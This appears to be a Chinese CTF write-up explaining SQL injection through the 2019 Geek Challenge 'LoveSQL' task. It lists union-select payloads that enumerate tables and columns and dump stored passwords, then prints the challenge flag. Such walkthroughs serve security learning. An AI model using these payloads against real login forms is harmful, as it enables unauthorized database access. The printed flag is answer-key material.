sql注入原理
在与服务器数据库进行数据交互的地方拼接了恶意的sql代码,达到欺骗服务器执行恶意代码的目的。本质上是程序把用户输入的数据当成了sql语句执行。
SQL注入攻击思路
1.寻找注入点,判断闭合拼接
2.判断页面回馈寻找获取数据的方式
3.根据掌握的信息进行攻击
步骤(以2019极客大挑战中的LoveSQL为例)
确定注入类型
有登录框,可以在登录框里注入
尝试使用万能密码
回显了一个奇怪的字符串,看起来很像flag,但不是
确定字段数和显示顺序
在初步尝试登录成功后,接下来还是按照sql注入的步骤进行。我们注入1' union select 1, 2, 3 #,发现Hello处显示了2,Your password is处显示了3,再经过其它测试发现查询的字段数只有3列。可以猜到第2列对应的是用户名,第3列对应的是密码。
获取数据库以及表信息
基本上确定注入类型和字段数
注入语句找库
1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() #
获取字段信息
根据上步骤可以猜测flag存在表l0ve1ysq1中,下面就应该获取字段信息
1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1" #
基本确定flag在字段password中
联合查询1' union select 1, 2, group_concat(password) from l0ve1ysq1 #
得到flag
出来了这一段:
wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{81af2596-7902-4c5f-a688-c2b271206b53}